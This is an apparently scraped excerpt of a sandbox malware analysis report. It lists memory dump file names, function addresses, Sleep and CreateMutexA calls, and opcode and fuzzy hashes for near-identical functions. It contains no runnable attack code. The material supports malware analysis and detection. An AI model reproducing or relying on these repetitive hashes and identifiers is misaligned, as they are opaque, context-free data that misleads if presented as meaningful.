Associated: 00000000.00000002.2102945245.00000000007AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102998144.00000000007B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103027228.00000000007CE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103057092.00000000007D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103081638.00000000007DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103108486.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103138296.00000000007DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103163703.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103191088.00000000007F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103222170.00000000007F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103251455.0000000000801000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103277924.0000000000803000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103301411.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103332650.0000000000807000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103355555.0000000000808000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103383895.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103410741.000000000080D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103441104.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103467704.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103492754.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103522681.0000000000836000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103543197.0000000000838000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103543197.0000000000854000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103605991.000000000086C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103628540.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103652255.0000000000882000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103674874.0000000000883000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103701156.0000000000884000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103723043.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103744910.000000000088B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103769954.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103791722.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2^
API String ID: 1464230837-4116150268
Opcode ID: 04be755ea02de0470c4fbe68dd7dad6e93216760eef36d108ee2264590cafb67
Instruction ID: 2f5b9188e988cc040e03892c28d6cc0ce6622ed867ca68eae42d22b733d77eba
Opcode Fuzzy Hash: 04be755ea02de0470c4fbe68dd7dad6e93216760eef36d108ee2264590cafb67
Instruction Fuzzy Hash: 833105316041049BFB18EBA8D8897BDBF72FBC5314F24461AE854FB2D6D73699808752

Function 0058A079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0058A963
CreateMutexA.KERNEL32(00000000,00000000,005E3254), ref: 0058A981

Strings

T2^, xrefs: 0058A970

Memory Dump Source

Source File: 00000000.00000002.2099186851.0000000000581000.00000040.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.2099160667.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099186851.00000000005E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099465933.00000000005E9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099521599.00000000005EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099656918.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102009900.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102045189.0000000000751000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102267492.0000000000764000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102267492.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102394838.000000000077A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102427965.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102462901.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102488196.0000000000787000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102554424.0000000000788000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102585434.0000000000789000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102608470.000000000078A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102648996.000000000078C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102731333.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102760631.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102789745.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102821472.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102851276.00000000007A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102875894.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102900646.00000000007A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102923396.00000000007AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102945245.00000000007AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102998144.00000000007B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103027228.00000000007CE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103057092.00000000007D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103081638.00000000007DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103108486.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103138296.00000000007DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103163703.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103191088.00000000007F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103222170.00000000007F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103251455.0000000000801000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103277924.0000000000803000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103301411.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103332650.0000000000807000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103355555.0000000000808000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103383895.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103410741.000000000080D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103441104.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103467704.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103492754.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103522681.0000000000836000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103543197.0000000000838000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103543197.0000000000854000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103605991.000000000086C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103628540.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103652255.0000000000882000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103674874.0000000000883000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103701156.0000000000884000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103723043.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103744910.000000000088B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103769954.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103791722.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2^
API String ID: 1464230837-4116150268
Opcode ID: ee17e276daa5558ddbee8df04aa42bbdd28ddcc06e37a00f38403a80d5469125
Instruction ID: 02da7bbb253d66c54ffd7fbb138dfea30e5ea8bca433908e3faa928ae63578c8
Opcode Fuzzy Hash: ee17e276daa5558ddbee8df04aa42bbdd28ddcc06e37a00f38403a80d5469125
Instruction Fuzzy Hash: 8931F3316041449BFB18EBA8CD8DB6DBF72BBD1314F24461AE854AB6D6C73699808722

Function 0058A1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0058A963
CreateMutexA.KERNEL32(00000000,00000000,005E3254), ref: 0058A981

Strings

T2^, xrefs: 0058A970

Memory Dump Source

Source File: 00000000.00000002.2099186851.0000000000581000.00000040.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.2099160667.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099186851.00000000005E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099465933.00000000005E9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099521599.00000000005EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099656918.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102009900.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102045189.0000000000751000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102267492.0000000000764000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102267492.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102394838.000000000077A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102427965.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102462901.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102488196.0000000000787000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102554424.0000000000788000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102585434.0000000000789000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102608470.000000000078A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102648996.000000000078C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102731333.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102760631.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102789745.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102821472.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102851276.00000000007A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102875894.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102900646.00000000007A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102923396.00000000007AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102945245.00000000007AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102998144.00000000007B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103027228.00000000007CE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103057092.00000000007D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103081638.00000000007DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103108486.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103138296.00000000007DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103163703.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103191088.00000000007F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103222170.00000000007F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103251455.0000000000801000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103277924.0000000000803000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103301411.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103332650.0000000000807000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103355555.0000000000808000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103383895.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103410741.000000000080D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103441104.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103467704.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103492754.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103522681.0000000000836000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103543197.0000000000838000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103543197.0000000000854000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103605991.000000000086C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103628540.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103652255.0000000000882000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103674874.0000000000883000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103701156.0000000000884000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103723043.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103744910.000000000088B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103769954.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103791722.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2^
API String ID: 1464230837-4116150268
Opcode ID: 7700b18f35cc767f8c51befaf96742cbb33a34e7413a688a8198aa6b004a1993
Instruction ID: fc66d74c7798f17c5cdad8daaddb1ad660699be81ebe178d85efcead27c48a40
Opcode Fuzzy Hash: 7700b18f35cc767f8c51befaf96742cbb33a34e7413a688a8198aa6b004a1993
Instruction Fuzzy Hash: 99312631B041419FFB18EBB8DC8DB6DBF72BBC6314F24421AE854AB2D5C73699808712

Function 0058A418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0058A963
CreateMutexA.KERNEL32(00000000,00000000,005E3254), ref: 0058A981

Strings

T2^, xrefs: 0058A970

Memory Dump Source

Source File: 00000000.00000002.2099186851.0000000000581000.00000040.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.2099160667.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099186851.00000000005E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099465933.00000000005E9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099521599.00000000005EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099656918.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102009900.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102045189.0000000000751000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102267492.0000000000764000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102267492.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102394838.000000000077A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102427965.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102462901.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102488196.0000000000787000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102554424.0000000000788000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102585434.0000000000789000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102608470.000000000078A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102648996.000000000078C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102731333.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102760631.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102789745.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102821472.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102851276.00000000007A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102875894.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102900646.00000000007A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102923396.00000000007AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102945245.00000000007AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102998144.00000000007B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103027228.00000000007CE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103057092.00000000007D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103081638.00000000007DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103108486.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103138296.00000000007DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103163703.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103191088.00000000007F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103222170.00000000007F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103251455.0000000000801000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103277924.0000000000803000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103301411.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103332650.0000000000807000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103355555.0000000000808000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103383895.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103410741.000000000080D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103441104.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103467704.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103492754.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103522681.0000000000836000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103543197.0000000000838000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103543197.0000000000854000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103605991.000000000086C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103628540.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103652255.0000000000882000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103674874.0000000000883000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103701156.0000000000884000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103723043.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103744910.000000000088B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103769954.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103791722.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2^
API String ID: 1464230837-4116150268
Opcode ID: ec2297e2dcc301b7af052d2f8c8b5da6e15f772534c6dc422df77681960779be
Instruction ID: 41f5d6a54b7b1af919fe740024e47f06374f8366fa7dfd0695434a9e3e23b061
Opcode Fuzzy Hash: ec2297e2dcc301b7af052d2f8c8b5da6e15f772534c6dc422df77681960779be
Instruction Fuzzy Hash: 7E3129317041019BFF18EBB8D98DB6DBF72FBC1314F20421AE854AB2D6D77659808762

Function 0058A54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0058A963
CreateMutexA.KERNEL32(00000000,00000000,005E3254), ref: 0058A981

Strings

T2^, xrefs: 0058A970

Memory Dump Source

Source File: 00000000.00000002.2099186851.0000000000581000.00000040.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.2099160667.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099186851.00000000005E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099465933.00000000005E9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099521599.00000000005EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2099656918.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102009900.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102045189.0000000000751000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102267492.0000000000764000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102267492.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102394838.000000000077A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102427965.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102462901.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102488196.0000000000787000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102554424.0000000000788000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102585434.0000000000789000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102608470.000000000078A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102648996.000000000078C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102731333.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102760631.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102789745.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102821472.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102851276.00000000007A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102875894.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102900646.00000000007A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102923396.00000000007AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102945245.00000000007AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102998144.00000000007B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103027228.00000000007CE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103057092.00000000007D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103081638.00000000007DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103108486.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103138296.00000000007DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103163703.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103191088.00000000007F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103222170.00000000007F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103251455.0000000000801000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103277924.0000000000803000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103301411.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103332650.0000000000807000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103355555.0000000000808000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103383895.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103410741.000000000080D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103441104.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103467704.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103492754.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103522681.0000000000836000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103543197.0000000000838000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103543197.0000000000854000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103605991.000000000086C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103628540.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103652255.0000000000882000.00000080.00000001.01000000.00000003.sdmpDownload File
